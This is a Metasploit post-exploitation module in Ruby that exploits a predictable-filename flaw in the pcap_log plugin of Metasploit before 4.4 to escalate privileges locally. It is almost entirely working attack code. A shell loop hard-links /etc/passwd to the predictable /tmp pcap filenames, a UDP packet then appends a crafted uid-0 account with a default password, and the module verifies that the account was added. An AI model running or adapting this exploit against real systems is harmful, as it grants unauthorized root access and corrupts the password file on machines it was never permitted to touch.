Metasploit < 4.4 - pcap_log Plugin Privilege Escalation (Metasploit)
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' require 'rex' require 'msf/core/post/common' require 'msf/core/post/file' require 'msf/core/post/linux/priv' require 'msf/core/exploit/local/linux_kernel' require 'msf/core/exploit/local/linux' require 'msf/core/exploit/local/unix' load 'lib/msf/core/post/common.rb' load 'lib/msf/core/post/file.rb' load 'lib/msf/core/exploit/local/unix.rb' load 'lib/msf/core/exploit/local/linux.rb' class Metasploit3 < Msf::Post Rank = ExcellentRanking include Msf::Post::File include Msf::Post::Common include Msf::Exploit::Local::Linux include Msf::Exploit::Local::Unix def initialize(info={}) super( update_info( info, { 'Name' => 'Metasploit pcap_log Local Privilege Escalation', 'Description' => %q{ Metasploit < 4.4 contains a vulnerable 'pcap_log' plugin which, when used with the default settings, creates pcap files in /tmp with predictable file names. This exploits this by hard-linking these filenames to /etc/passwd, then sending a packet with a priviliged user entry contained within. This, and all the other packets, are appended to /etc/passwd. Successful exploitation results in the creation of a new superuser account. This module requires manual clean-up - remove /tmp/msf3-session*pcap files and truncate /etc/passwd. }, 'License' => MSF_LICENSE, 'Author' => [ '0a29406d9794e4f9b30b3c5d6702c708'], 'Platform' => [ 'linux','unix','bsd' ], 'SessionTypes' => [ 'shell', 'meterpreter' ], 'References' => [ [ 'BID', '54472' ], [ 'URL', 'http://0a29.blogspot.com/2012/07/0a29-12-2-metasploit-pcaplog-plugin.html'], [ 'URL', 'https://community.rapid7.com/docs/DOC-1946' ], ], 'DisclosureDate' => "Jul 16 2012", 'Targets' => [ [ 'Linux/Unix Universal', {} ], ], 'DefaultTarget' => 0, } )) register_options( [ Opt::RPORT(2940), OptString.new("USERNAME", [ true, "Username for the new superuser", "metasploit" ]), OptString.new("PASSWORD", [ true, "Password for the new superuser", "metasploit" ]) ], self) end def run print_status "Waiting for victim" initial_size = cmd_exec("cat /etc/passwd | wc -l") i = 60 while(true) do if (i == 60) # 0a2940: cmd_exec is slow, so send 1 command to do all the links cmd_exec("for i in $(seq 0 120); do ln /etc/passwd /tmp/msf3-session_`date --date=\"\$i seconds\" +%Y-%m-%d_%H-%M-%S`.pcap ; done") i = 0 end i = i+1 if (cmd_exec("cat /etc/passwd | wc -l") != initial_size) # PCAP is flowing pkt = "\n\n" + datastore['USERNAME'] + ":" + datastore['PASSWORD'].crypt("0a") + ":0:0:Metasploit Root Account:/tmp:/bin/bash\n\n" print_status("Sending file contents payload to #{session.session_host}") udpsock = Rex::Socket::Udp.create( { 'Context' => {'Msf' => framework, 'MsfExploit'=>self} }) udpsock.sendto(pkt, session.session_host, datastore['RPORT']) break end sleep(1) end if cmd_exec("(grep Metasploit /etc/passwd > /dev/null && echo true) || echo false").include?("true") print_good("Success. You should now be able to login or su to the 'metasploit' user with password 'metasploit'.") else print_error("Failed. You should manually verify the 'metasploit' user has not been added") end # 0a2940: Initially the plan was to have this post module switch user, upload & execute a new payload # However beceause the session is not a terminal, su will not always allow this. end end |